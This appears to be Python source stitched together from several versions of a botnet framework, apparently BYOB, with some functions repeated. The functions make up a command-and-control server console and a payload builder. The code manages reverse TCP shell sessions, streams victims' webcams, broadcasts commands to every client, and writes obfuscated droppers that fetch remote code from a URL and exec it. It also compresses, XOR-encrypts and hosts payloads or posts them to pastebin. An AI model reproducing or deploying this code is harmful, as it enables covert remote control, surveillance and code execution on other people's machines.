def display(self, info): """ Display formatted output in the console `Required` :param str info: text to display """ with self._lock: print if isinstance(info, dict): if len(info): self._print(info) elif isinstance(info, list): if len(info): for data in info: util.display(' %d\n' % int(info.index(data) + 1), color=self._text_color, style='bright', end="") self._print(data) elif isinstance(info, str): try: self._print(json.loads(info)) except: util.display(str(info), color=self._text_color, style=self._text_style) else: util.log("{} error: invalid data type '{}'".format( self.display.func_name, type(info))) print
def session_background(self, session=None): """ Send a session to background `Requires` :param int session: session ID """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format( inspect.stack()[1][3], inspect.stack()[0][3], locals())) if not session: if self.current_session: self.current_session._active.clear() elif str(session).isdigit() and int( session) in self.sessions and not isinstance( self.sessions[int(session)], Session): util.display( "Session {} is stale (Awaiting Connection)".format(session)) elif str(session).isdigit() and int(session) in self.sessions: self.sessions[int(session)]._active.clear() self.current_session = None self._active.set() return self.run()
def session_remove(self, session_id): """ Shutdown client shell and remove client from database `Requires` :param int session_id: session ID """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format( inspect.stack()[1][3], inspect.stack()[0][3], locals())) if not str(session_id).isdigit() or int( session_id) not in self.sessions: return elif str(session_id).isdigit() and int( session_id) in self.sessions and not isinstance( self.sessions[int(session_id)], Session): session = self.sessions[int(session_id)] util.display("Session '{}' is stale (Awaiting Connection)".format( session_id)) _ = self.sessions.pop(int(session_id), None) self.database.update_status(session['info']['uid'], 0) with self._lock: util.display('Session {} expunged'.format(session_id)) self._active.set() return self.run() else: # select session session = self.sessions[int(session_id)] session._active.clear() # send kill command to client try: session.send_task({ "task": "kill", "session": session.info.get('uid') }) # shutdown the connection session.connection.shutdown(socket.SHUT_RDWR) session.connection.close() # update current sessions except: pass _ = self.sessions.pop(int(session_id), None) # update persistent database self.database.update_status(session.info.get('uid'), 0) if self.current_session != None and int( session_id) != self.current_session.info.get('id'): with self.current_session._lock: util.display('Session {} disconnected'.format(session_id)) self._active.clear() self.current_session._active.set() return self.current_session.run() else: self.current_session = None with self._lock: util.display('Session {} disconnected'.format(session_id)) self._active.set() session._active.clear() return self.run()
def _dropper(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=',') util.display("Dropper", color='reset', style='bright') util.display('\tWriting dropper... ', color='reset', style='normal', end=',') assert 'url' in kwargs, "missing keyword argument 'url'" assert 'var' in kwargs, "missing keyword argument 'var'" assert 'hidden' in kwargs, "missing keyword argument 'hidden'" name = 'byob_{}.py'.format(kwargs['var']) if not options.name else options.name if not name.endswith('.py'): name += '.py' dropper = "import zlib,base64,marshal,urllib;exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))".format(repr(base64.b64encode(zlib.compress(marshal.dumps("import zlib,base64,marshal,urllib;exec(marshal.loads(zlib.decompress(base64.b64decode(urllib.urlopen({}).read()))))".format(repr(kwargs['url'])))))) if options.compress else repr(base64.b64encode(zlib.compress(marshal.dumps("urllib.urlopen({}).read()".format(repr(kwargs['url']))))))) with open(name, 'w') as fp: fp.write(dropper) if options.freeze: util.display('\tCompiling executable... \n', color='reset', style='normal', end=',') __load__ = threading.Event() __spin__ = _spinner(__load__) name = generators.freeze(name, icon=options.icon, hidden=kwargs['hidden']) __load__.set() util.display('(saved to file: {})\n'.format(name), style='dim', color='reset') return name
def session_webcam(self, args=''): """ Interact with a client webcam `Optional` :param str args: stream [port], image, video """ if not self.current_session: util.log( "No client selected") return client = self.current_session result = '' mode, _, arg = args.partition(' ') client._active.clear() if not mode or str(mode).lower() == 'stream': s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) retries = 5 while retries > 0: try: port = random.randint(6000,9999) s.bind(('0.0.0.0', port)) s.listen(1) cmd = 'webcam stream {}'.format(port) client.send_task(cmd) conn, addr = s.accept() break except: retries -= 1 header_size = struct.calcsize("L") window_name = addr[0] cv2.namedWindow(window_name) data = "" try: while True: while len(data) < header_size: data += conn.recv(4096) packed_msg_size = data[:header_size] data = data[header_size:] msg_size = struct.unpack(">L", packed_msg_size)[0] while len(data) < msg_size: data += conn.recv(4096) frame_data = data[:msg_size] data = data[msg_size:] frame = pickle.loads(frame_data) cv2.imshow(window_name, frame) key = cv2.waitKey(70) if key == 32: break finally: conn.close() cv2.destroyAllWindows() result = 'Webcam stream ended' else: client.send_task("webcam %s" % args) task = client.recv_task() result = task.get('result') util.display(result)
def session_webcam(self, args=''): """ Interact with a client webcam `Optional` :param str args: stream [port], image, video """ if not self.current_session: util.log("No client selected") return client = self.current_session result = '' mode, _, arg = args.partition(' ') client._active.clear() if not mode or str(mode).lower() == 'stream': s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) retries = 5 while retries > 0: try: port = random.randint(6000, 9999) s.bind(('0.0.0.0', port)) s.listen(1) cmd = {"task": 'webcam stream {}'.format(port)} client.send_task(cmd) conn, addr = s.accept() break except: retries -= 1 header_size = struct.calcsize("L") window_name = addr[0] cv2.namedWindow(window_name) data = "" try: while True: while len(data) < header_size: data += conn.recv(4096) packed_msg_size = data[:header_size] data = data[header_size:] msg_size = struct.unpack(">L", packed_msg_size)[0] while len(data) < msg_size: data += conn.recv(4096) frame_data = data[:msg_size] data = data[msg_size:] frame = pickle.loads(frame_data) cv2.imshow(window_name, frame) key = cv2.waitKey(70) if key == 32: break finally: conn.close() cv2.destroyAllWindows() result = 'Webcam stream ended' else: client.send_task({"task": "webcam %s" % args}) task = client.recv_task() result = task.get('result') util.display(result)
def _return(self, data=None): lock, prompt = (self.current_session._lock, self.current_session._prompt ) if self.current_session else (self._lock, self._prompt) with lock: if data: util.display('\n{}\n'.format(data)) util.display(prompt, end=',')
def _update(input, output, task=None): diff = round( float(100.0 * float(float(len(output)) / float(len(input)) - 1.0))) util.display("({:,} bytes {} to {:,} bytes ({}% {})".format( len(input), 'increased' if len(output) > len(input) else 'reduced', len(output), diff, 'larger' if len(output) > len(input) else 'smaller').ljust(80), style='dim', color='reset')
def run(self): """ Run C2 server administration terminal """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format( inspect.stack()[1][3], inspect.stack()[0][3], locals())) self._active.set() if 'c2' not in globals()['__threads']: globals()['__threads']['c2'] = self.serve_until_stopped() if 'resources' not in globals()['__threads']: globals()['__threads']['resources'] = self.serve_resources() while True: try: self._active.wait() self._prompt = "[{} @ %s]> ".format( os.getenv('USERNAME', os.getenv('USER', 'byob'))) % os.getcwd() cmd_buffer = self._get_prompt(self._prompt) if cmd_buffer: output = '' cmd, _, action = cmd_buffer.partition(' ') if cmd in self.commands: try: output = self.commands[cmd]['method']( action) if len( action) else self.commands[cmd]['method']() except Exception as e1: output = str(e1) elif cmd == 'cd': try: os.chdir(action) except: pass else: try: output = str().join( (subprocess.Popen(cmd_buffer, 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate())) except: pass if output: util.display(str(output)) if globals()['__abort']: break except KeyboardInterrupt: self._active.clear() break self.quit()
def _stager(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=',') util.display("Stager", color='reset', style='bright') assert 'url' in kwargs, "missing keyword argument 'url'" assert 'key' in kwargs, "missing keyword argument 'key'" assert 'var' in kwargs, "missing keyword argument 'var'" if options.encrypt: stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url'], key=kwargs['key']) else: stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url']) if not os.path.isdir('modules/stagers'): try: os.mkdir('modules/stagers') except OSError: util.log("Permission denied: unable to make directory './modules/stagers/'") if options.compress: util.display("\tCompressing stager... ", color='reset', style='normal', end=',') __load__ = threading.Event() __spin__ = _spinner(__load__) output = generators.compress(stager) __load__.set() _update(stager, output, task='Compression') stager = output util.display("\tUploading stager... ", color='reset', style='normal', end=',') __load__ = threading.Event() __spin__ = _spinner(__load__) if options.pastebin: assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'" url = util.pastebin(stager, options.pastebin) else: dirs = ['modules/stagers','byob/modules/stagers','byob/byob/modules/stagers'] dirname = '.' for d in dirs: if os.path.isdir(d): dirname = d path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py' ) with open(path, 'w') as fp: fp.write(stager) s = 'http://{}:{}/{}'.format(options.host, int(options.port) + 1, urllib.pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'), ''))) s = urllib2.urlparse.urlsplit(s) url = urllib2.urlparse.urlunsplit((s.scheme, s.netloc, os.path.normpath(s.path), s.query, s.fragment)).replace('\\','/') __load__.set() util.display("(hosting stager at: {})".format(url), color='reset', style='dim') return url
def help(self, info=None): """ Show usage information `Optional` :param dict info: client usage help """ column1 = 'command <arg>' column2 = 'description' info = info if info else { command['usage']: command['description'] for command in self.commands.values() } max_key = max(map(len, info.keys() + [column1])) + 2 max_val = max(map(len, info.values() + [column2])) + 2 util.display('\n', end=',') util.display(column1.center(max_key) + column2.center(max_val), color=self._text_color, style='bright') for key in sorted(info): util.display(key.ljust(max_key).center(max_key + 2) + info[key].ljust(max_val).center(max_val + 2), color=self._text_color, style=self._text_style) util.display("\n", end=',')
def session_shell(self, session): """ Interact with a client session through a reverse TCP shell `Requires` :param int session: session ID """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format( inspect.stack()[1][3], inspect.stack()[0][3], locals())) if not str(session).isdigit() or int(session) not in self.sessions: util.display("Session {} does not exist".format(session)) elif str(session).isdigit() and int( session) in self.sessions and not isinstance( self.sessions[int(session)], Session): util.display( "Session {} is stale (Awaiting Connection)".format(session)) else: self._active.clear() if self.current_session: self.current_session._active.clear() self.current_session = self.sessions[int(session)] util.display( "\n\nStarting Reverse TCP Shell w/ Session {}...\n".format( session), color='white', style='normal') self.current_session._active.set() return self.current_session.run()
def session_list(self): """ List active sessions """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format(inspect.stack()[1][3], inspect.stack()[0][3], locals())) lock = self.current_session._lock if self.current_session else self._lock with lock: print() for ses in self.sessions.values(): util.display(str(ses.id), color='white', style='normal') self.database._display(ses.info) print()
def _print(self, info): lock = self.current_session._lock if self.current_session else self._lock if isinstance(info, str): try: info = json.loads(info) except: pass if isinstance(info, dict): max_key = int(max(map(len, [str(i1) for i1 in info.keys() if i1 if i1 != 'None'])) + 2) if int(max(map(len, [str(i1) for i1 in info.keys() if i1 if i1 != 'None'])) + 2) < 80 else 80 max_val = int(max(map(len, [str(i2) for i2 in info.values() if i2 if i2 != 'None'])) + 2) if int(max(map(len, [str(i2) for i2 in info.values() if i2 if i2 != 'None'])) + 2) < 80 else 80 key_len = {len(str(i2)): str(i2) for i2 in info.keys() if i2 if i2 != 'None'} keys = {k: key_len[k] for k in sorted(key_len.keys())} with lock: for key in keys.values(): if info.get(key) and info.get(key) != 'None': try: info[key] = json.loads(key) self._print(info[key]) except: if len(str(info.get(key))) > 80: info[key] = str(info.get(key))[:77] + '...' info[key] = str(info.get(key)).replace('\n',' ') if not isinstance(info.get(key), datetime.datetime) else str(key).encode().replace("'", '"').replace('True','true').replace('False','false') if not isinstance(key, datetime.datetime) else str(int(time.mktime(key.timetuple()))) util.display('\x20' * 4, end=',') util.display(key.ljust(max_key).center(max_key + 2) + info[key].ljust(max_val).center(max_val + 2), color=self._text_color, style=self._text_style) else: with lock: util.display('\x20' * 4, end=',') util.display(str(info), color=self._text_color, style=self._text_style)
def _print(self, info): lock = self.current_session._lock if self.current_session else self._lock if isinstance(info, str): try: info = json.loads(info) except: pass if isinstance(info, dict): max_key = int(max(map(len, [str(i1) for i1 in info.keys() if i1 if i1 != 'None'])) + 2) if int(max(map(len, [str(i1) for i1 in info.keys() if i1 if i1 != 'None'])) + 2) < 80 else 80 max_val = int(max(map(len, [str(i2) for i2 in info.values() if i2 if i2 != 'None'])) + 2) if int(max(map(len, [str(i2) for i2 in info.values() if i2 if i2 != 'None'])) + 2) < 80 else 80 key_len = {len(str(i2)): str(i2) for i2 in info.keys() if i2 if i2 != 'None'} keys = {k: key_len[k] for k in sorted(key_len.keys())} with lock: for key in keys.values(): if info.get(key) and info.get(key) != 'None': try: info[key] = json.loads(key) self._print(info[key]) except: if len(str(info.get(key))) > 80: info[key] = str(info.get(key))[:77] + '...' info[key] = str(info.get(key)).replace('\n',' ') if not isinstance(info.get(key), datetime.datetime) else str(key).encode().replace("'", '"').replace('True','true').replace('False','false') if not isinstance(key, datetime.datetime) else str(int(time.mktime(key.timetuple()))) util.display('\x20' * 4, end=' ') util.display(key.ljust(max_key).center(max_key + 2) + info[key].ljust(max_val).center(max_val + 2), color=self._text_color, style=self._text_style) else: with lock: util.display('\x20' * 4, end=' ') util.display(str(info), color=self._text_color, style=self._text_style)
def session_remove(self, session_id): """ Shutdown client shell and remove client from database `Requires` :param int session_id: session ID """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format(inspect.stack()[1][3], inspect.stack()[0][3], locals())) if not str(session_id).isdigit() or int(session_id) not in self.sessions: return elif str(session_id).isdigit() and int(session_id) in self.sessions and not isinstance(self.sessions[int(session_id)], Session): session = self.sessions[int(session_id)] util.display("Session '{}' is stale (Awaiting Connection)".format(session_id)) _ = self.sessions.pop(int(session_id), None) self.database.update_status(session['info']['uid'], 0) with self._lock: util.display('Session {} expunged'.format(session_id)) self._active.set() return self.run() else: # select session session = self.sessions[int(session_id)] session._active.clear() # send kill command to client try: session.send_task({"task": "kill", "session": session.info.get('uid')}) # shutdown the connection session.connection.shutdown(socket.SHUT_RDWR) session.connection.close() # update current sessions except: pass _ = self.sessions.pop(int(session_id), None) # update persistent database self.database.update_status(session.info.get('uid'), 0) if self.current_session != None and int(session_id) != self.current_session.info.get('id'): with self.current_session._lock: util.display('Session {} disconnected'.format(session_id)) self._active.clear() self.current_session._active.set() return self.current_session.run() else: self.current_session = None with self._lock: util.display('Session {} disconnected'.format(session_id)) self._active.set() session._active.clear() return self.run()
def session_list(self, verbose=True): """ List currently online clients `Optional` :param str verbose: verbose output (default: False) """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format(inspect.stack()[1][3], inspect.stack()[0][3], locals())) lock = self.current_session._lock if self.current_session else self._lock with lock: print() sessions = self.database.get_sessions(verbose=verbose) self.database._display(sessions) print()
def quit(self): """ Quit server and optionally keep clients alive """ if self._get_prompt('Quiting server - keep clients alive? (y/n): ').startswith('y'): globals()['package_handler'].terminate() globals()['module_handler'].terminate() for session in self.sessions.values(): session._active.set() session.send_task('mode passive') globals()['__abort'] = True self._active.clear() _ = os.popen("taskkill /pid {} /f".format(os.getpid()) if os.name == 'nt' else "kill -9 {}".format(os.getpid())).read() util.display('Exiting...') sys.exit(0)
def task_list(self, id=None): """ List client tasks and results `Requires` :param int id: session ID """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format(inspect.stack()[1][3], inspect.stack()[0][3], locals())) lock = self.current_session._lock if self.current_session else self._lock tasks = self.database.get_tasks() with lock: print self.database._display(tasks) print
def _hidden(options, **kwargs): assert 'imports' in kwargs, "missing keyword argument 'imports'" assert 'modules' in kwargs, "missing keyword argument 'modules'" hidden = set() for line in kwargs['imports']: if len(line.split()) > 1: for i in str().join(line.split()[1:]).split(';')[0].split(','): i = line.split()[1] if i == '*' else i hidden.add(i) elif len(line.split()) > 3: for i in str().join(line.split()[3:]).split(';')[0].split(','): i = line.split()[1] if i == '*' else i hidden.add(i) globals()['__load__'].set() util.display("({} imports from {} modules)".format(len(list(hidden)), len(kwargs['modules'])), color='reset', style='dim') return list(hidden)
def session_shell(self, session): """ Interact with a client session through a reverse TCP shell `Requires` :param int session: session ID """ if not str(session).isdigit() or int(session) not in self.sessions: util.log("Session '{}' does not exist".format(session)) else: self._active.clear() if self.current_session: self.current_session._active.clear() self.current_session = self.sessions[int(session)] util.display("\n\nStarting Reverse TCP Shell w/ Session {}...\n".format(self.current_session.id), color='white', style='normal') self.current_session._active.set() return self.current_session.run()
def task_list(self, id=None): """ List client tasks and results `Requires` :param int id: session ID """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format(inspect.stack()[1][3], inspect.stack()[0][3], locals())) lock = self.current_session._lock if self.current_session else self._lock tasks = self.database.get_tasks() with lock: print() for task in tasks: util.display(tasks.index(task) + 1) self.database._display(task) print()
def task_broadcast(self, command): """ Broadcast a task to all sessions `Requires` :param str command: command to broadcast """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format(inspect.stack()[1][3], inspect.stack()[0][3], locals())) sessions = self.sessions.values() send_tasks = [session.send_task({"task": command}) for session in sessions] recv_tasks = {session: session.recv_task() for session in sessions} for session, task in recv_tasks.items(): if isinstance(task, dict) and task.get('task') == 'prompt' and task.get('result'): session._prompt = task.get('result') elif task.get('result'): self.display(task.get('result')) self._return()
def session_background(self, session=None): """ Send a session to background `Requires` :param int session: session ID """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format(inspect.stack()[1][3], inspect.stack()[0][3], locals())) if not session: if self.current_session: self.current_session._active.clear() elif str(session).isdigit() and int(session) in self.sessions and not isinstance(self.sessions[int(session)], Session): util.display("Session {} is stale (Awaiting Connection)".format(session)) elif str(session).isdigit() and int(session) in self.sessions: self.sessions[int(session)]._active.clear() self.current_session = None self._active.set() return self.run()
def display(self, info): """ Display formatted output in the console `Required` :param str info: text to display """ with self._lock: print() if isinstance(info, dict): if len(info): self._print(info) elif isinstance(info, list): if len(info): for data in info: util.display(' %d\n' % int(info.index(data) + 1), color=self._text_color, style='bright', end="") self._print(data) elif isinstance(info, str): try: self._print(json.loads(info)) except: util.display(str(info), color=self._text_color, style=self._text_style) elif isinstance(info, bytes): try: self._print(json.load(info)) except: util.display(info.decode('utf-8'), color=self._text_color, style=self._text_style) else: util.log("{} error: invalid data type '{}'".format(self.display.__name__, type(info))) print()
def _imports(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=' ') util.display("Imports", color='reset', style='bright') assert 'modules' in kwargs, "missing keyword argument 'modules'" util.display("\tAdding imports...", color='reset', style='normal', end=' ') global __load__ globals()['__load__'] = threading.Event() globals()['__spin__'] = _spinner(__load__) imports = set() for module in kwargs['modules']: for line in open(module, 'r').read().splitlines(): if len(line.split()): if line.split()[0] == 'import': for x in ['core'] + [ os.path.splitext(i)[0] for i in os.listdir('core') ] + [ 'core.%s' % s for s in [os.path.splitext(i)[0] for i in os.listdir('core')] ]: if x in line: break else: imports.add(line.strip()) imports = list(imports) if sys.platform != 'win32': for item in imports: if 'win32' in item or '_winreg' in item: imports.remove(item) return imports
def run(self): """ Run C2 server administration terminal """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format(inspect.stack()[1][3], inspect.stack()[0][3], locals())) self._active.set() if 'c2' not in globals()['__threads']: globals()['__threads']['c2'] = self.serve_until_stopped() while True: try: self._active.wait() self._prompt = "[{} @ %s]> ".format(os.getenv('USERNAME', os.getenv('USER', 'byob'))) % os.getcwd() cmd_buffer = self._get_prompt(self._prompt) if cmd_buffer: output = '' cmd, _, action = cmd_buffer.partition(' ') if cmd in self.commands: try: output = self.commands[cmd]['method'](action) if len(action) else self.commands[cmd]['method']() except Exception as e1: output = str(e1) elif cmd == 'cd': try: os.chdir(action) except: pass else: try: output = str().join((subprocess.Popen(cmd_buffer, 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate())) except: pass if output: util.display(str(output)) if globals()['__abort']: break except KeyboardInterrupt: self._active.clear() break self.quit()
def _imports(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=',') util.display("Imports", color='reset', style='bright') assert 'modules' in kwargs, "missing keyword argument 'modules'" util.display("\tAdding imports...", color='reset', style='normal', end=',') globals()['__load__'] = threading.Event() globals()['__spin__'] = _spinner(__load__) imports = set() for module in kwargs['modules']: for line in open(module, 'r').read().splitlines(): if len(line.split()): if line.split()[0] == 'import': for x in ['core'] + [ os.path.splitext(i)[0] for i in os.listdir('core') ] + [ 'core.%s' % s for s in [os.path.splitext(i)[0] for i in os.listdir('core')] ]: if x in line: break else: imports.add(line.strip()) elif len(line.split()) > 3: if line.split()[0] == 'from' and line.split( )[1] != '__future__' and line.split()[2] == 'import': for x in ['core'] + [ os.path.splitext(i)[0] for i in os.listdir('core') ] + [ 'core.%s' % s for s in [ os.path.splitext(i)[0] for i in os.listdir('core') ] ]: if x in line.strip(): break else: imports.add(line.strip()) imports = list(imports) if "import _winreg" in imports and (sys.platform == "linux2" or sys.platform == "darwin"): util.display('- removing _winreg import', color='red', style='dim', end=',') imports.remove("import _winreg") return imports
def run(self): """ Run a shell on local host """ self._active.set() if 'c2_server' not in globals()['__threads']: globals()['__threads']['c2'] = self.serve_until_stopped() while True: try: self._active.wait() self._prompt = "[{} @ %s]> ".format(os.getenv('USERNAME', os.getenv('USER', 'byob'))) % os.getcwd() cmd_buffer = self._get_prompt(self._prompt) if cmd_buffer: output = '' cmd, _, action = cmd_buffer.partition(' ') if cmd in self.commands: try: output = self.commands[cmd]['method'](action) if len(action) else self.commands[cmd]['method']() except Exception as e1: output = str(e1) elif cmd == 'cd': try: os.chdir(action) except: pass else: try: output = str().join((subprocess.Popen(cmd_buffer, 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate())) except: pass if output: util.display(str(output)) if globals()['__abort']: break except KeyboardInterrupt: self._active.clear() break self.quit()
def session_remove(self, session): """ Shutdown client shell and remove client from database `Requires` :param int session: session ID """ if not str(session).isdigit() or int(session) not in self.sessions: return else: # select session session = self.sessions[int(session)] session._active.clear() # send kill command to client session.send_task({ "task": "kill", "session": session.info.get('uid') }) # shutdown the connection session.connection.shutdown(socket.SHUT_RDWR) session.connection.close() # update current sessions _ = self.sessions.pop(int(session), None) # update persistent database self.database.update_status(self.info.get('uid'), 0) util.display(self._text_color + self._text_style) if not self.current_session: with self._lock: util.display('Session {} disconnected'.format(session)) self._active.set() session._active.clear() return self.run() elif int(session) == self.current_session.session: with self.current_session._lock: util.display('Session {} disconnected'.format(session)) self._active.clear() self.current_session._active.set() return self.current_session.run() else: with self._lock: util.display('Session {} disconnected'.format(session)) self._active.clear() self.current_session._active.set() return self.current_session.run()
def help(self, info=None): """ Show usage information `Optional` :param str info: client usage help """ column1 = 'command <arg>' column2 = 'description' info = json.loads(info) if info else {command['usage']: command['description'] for command in self.commands.values()} max_key = max(map(len, list(info.keys()) + [column1])) + 2 max_val = max(map(len, list(info.values()) + [column2])) + 2 util.display('\n', end=' ') util.display(column1.center(max_key) + column2.center(max_val), color=self._text_color, style='bright') for key in sorted(info): util.display(key.ljust(max_key).center(max_key + 2) + info[key].ljust(max_val).center(max_val + 2), color=self._text_color, style=self._text_style) util.display("\n", end=' ')
def _banner(self): with self._lock: util.display(__banner__, color=random.choice( ['red', 'green', 'cyan', 'magenta', 'yellow']), style='bright') util.display("[?] ", color='yellow', style='bright', end=',') util.display( "Hint: show usage information with the 'help' command\n", color='white', style='normal') return __banner__
def session_remove(self, session): """ Shutdown client shell and remove client from database `Requires` :param int session: session ID """ if not str(session).isdigit() or int(session) not in self.sessions: return else: # select session session = self.sessions[int(session)] session._active.clear() # send kill command to client session.send_task({"task": "kill", "session": session.info.get('uid')}) # shutdown the connection session.connection.shutdown(socket.SHUT_RDWR) session.connection.close() # update current sessions _ = self.sessions.pop(int(session), None) # update persistent database self.database.update_status(self.info.get('uid'), 0) util.display(self._text_color + self._text_style) if not self.current_session: with self._lock: util.display('Session {} disconnected'.format(session)) self._active.set() session._active.clear() return self.run() elif int(session) == self.current_session.session: with self.current_session._lock: util.display('Session {} disconnected'.format(session)) self._active.clear() self.current_session._active.set() return self.current_session.run() else: with self._lock: util.display('Session {} disconnected'.format(session)) self._active.clear() self.current_session._active.set() return self.current_session.run()
def session_shell(self, session): """ Interact with a client session through a reverse TCP shell `Requires` :param int session: session ID """ if globals()['debug']: util.display('parent={} , child={} , args={}'.format(inspect.stack()[1][3], inspect.stack()[0][3], locals())) if not str(session).isdigit() or int(session) not in self.sessions: util.display("Session {} does not exist".format(session)) elif str(session).isdigit() and int(session) in self.sessions and not isinstance(self.sessions[int(session)], Session): util.display("Session {} is stale (Awaiting Connection)".format(session)) else: self._active.clear() if self.current_session: self.current_session._active.clear() self.current_session = self.sessions[int(session)] util.display("\n\nStarting Reverse TCP Shell w/ Session {}...\n".format(session), color='white', style='normal') self.current_session._active.set() return self.current_session.run()
def serve_until_stopped(self): self.database = database.Database(self._database) while True: connection, address = self.socket.accept() session = Session(connection=connection, id=self._count) util.display("\n\n\t[+]", color='green', style='bright', end=',') util.display("New Connection:", color='white', style='bright', end=',') util.display(address[0], color='white', style='normal') util.display("\t Session:", color='white', style='bright', end=',') util.display(str(self._count), color='white', style='normal') util.display("\t Started:", color='white', style='bright', end=',') util.display(time.ctime(session._created) + "\n", color='white', style='normal') self.database._display(session.info) info = self.database.handle_session(session.info) self.database._display(session.info) if isinstance(info, dict): session.info = info self.sessions[self._count] = session self._count += 1 prompt = self.current_session._prompt if self.current_session else self._prompt util.display(prompt, color=self._prompt_color, style=self._prompt_style, end=',') abort = globals()['__abort'] if abort: break
def _dropper(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=' ') util.display("Dropper", color='reset', style='bright') util.display('\tWriting dropper... ', color='reset', style='normal', end=' ') assert 'url' in kwargs, "missing keyword argument 'url'" assert 'var' in kwargs, "missing keyword argument 'var'" assert 'hidden' in kwargs, "missing keyword argument 'hidden'" name = 'byob_{}.py'.format( kwargs['var']) if not options.name else options.name if not name.endswith('.py'): name += '.py' dropper = """import sys,zlib,base64,marshal,json,urllib if sys.version_info[0] > 2: from urllib import request urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format( repr( base64.b64encode( zlib.compress( marshal.dumps( "urlopen({}).read()".format(repr(kwargs['url'])), 2))))) with open(name, 'w') as fp: fp.write(dropper) util.display('({:,} bytes written to {})'.format(len(dropper), name), style='dim', color='reset') if options.freeze: util.display('\tCompiling executable...\n', color='reset', style='normal', end=' ') name = generators.freeze('modules/payloads/' + kwargs['var'] + '.py', icon=options.icon, hidden=kwargs['hidden']) util.display('({:,} bytes saved to file: {})\n'.format( len(open(name, 'rb').read()), name)) return name
def _payload(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=' ') util.display("Payload", color='reset', style='bright') assert 'var' in kwargs, "missing keyword argument 'var'" assert 'modules' in kwargs, "missing keyword argument 'modules'" assert 'imports' in kwargs, "missing keyword argument 'imports'" # loader = '\n'.join((open('core/loader.py','r').read(), generators.loader(host=options.host, port=int(options.port)+2, packages=list(kwargs['hidden'])))) loader = open('core/loader.py', 'r').read() test_imports = '\n'.join([ 'import ' + i for i in list(kwargs['hidden']) if i not in ['StringIO', '_winreg'] ]) modules = '\n'.join(([ open(module, 'r').read().partition('# main')[2] for module in kwargs['modules'] ] + [ generators.main( 'Payload', **{ "host": options.host, "port": options.port, "pastebin": options.pastebin if options.pastebin else str() }) + '_payload.run()' ])) payload = '\n'.join((loader, test_imports, modules)) if not os.path.isdir('modules/payloads'): try: os.mkdir('modules/payloads') except OSError: util.log( "Permission denied: unabled to make directory './modules/payloads/'" ) if options.compress: util.display("\tCompressing payload... ", color='reset', style='normal', end=' ') __load__ = threading.Event() __spin__ = _spinner(__load__) output = generators.compress(payload) __load__.set() _update(payload, output, task='Compression') payload = output if options.encrypt: assert 'key' in kwargs, "missing keyword argument 'key' required for option 'encrypt'" util.display("\tEncrypting payload... ".format(kwargs['key']), color='reset', style='normal', end=' ') __load__ = threading.Event() __spin__ = _spinner(__load__) output = security.encrypt_xor(payload, base64.b64decode(kwargs['key'])) __load__.set() _update(payload, output, task='Encryption') payload = output util.display("\tUploading payload... ", color='reset', style='normal', end=' ') __load__ = threading.Event() __spin__ = _spinner(__load__) if options.pastebin: assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'" url = util.pastebin(payload, options.pastebin) else: dirs = [ 'modules/payloads', 'byob/modules/payloads', 'byob/byob/modules/payloads' ] dirname = '.' for d in dirs: if os.path.isdir(d): dirname = d path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py') with open(path, 'w') as fp: fp.write(payload) s = 'http://{}:{}/{}'.format( options.host, int(options.port) + 1, pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'), ''))) s = urlparse.urlsplit(s) url = urlparse.urlunsplit( (s.scheme, s.netloc, os.path.normpath(s.path), s.query, s.fragment)).replace('\\', '/') __load__.set() util.display("(hosting payload at: {})".format(url), color='reset', style='dim') return url
def settings(self): """ Show the server's currently configured settings """ text_color = [color for color in filter(str.isupper, dir(colorama.Fore)) if color == self._text_color][0] text_style = [style for style in filter(str.isupper, dir(colorama.Style)) if style == self._text_style][0] prompt_color = [color for color in filter(str.isupper, dir(colorama.Fore)) if color == self._prompt_color][0] prompt_style = [style for style in filter(str.isupper, dir(colorama.Style)) if style == self._prompt_style][0] util.display('\n\t OPTIONS', color='white', style='bright') util.display('text color/style: ', color='white', style='normal', end=' ') util.display('/'.join((self._text_color.title(), self._text_style.title())), color=self._text_color, style=self._text_style) util.display('prompt color/style: ', color='white', style='normal', end=' ') util.display('/'.join((self._prompt_color.title(), self._prompt_style.title())), color=self._prompt_color, style=self._prompt_style) util.display('debug: ', color='white', style='normal', end=' ') util.display('True\n' if globals()['debug'] else 'False\n', color='green' if globals()['debug'] else 'red', style='normal')
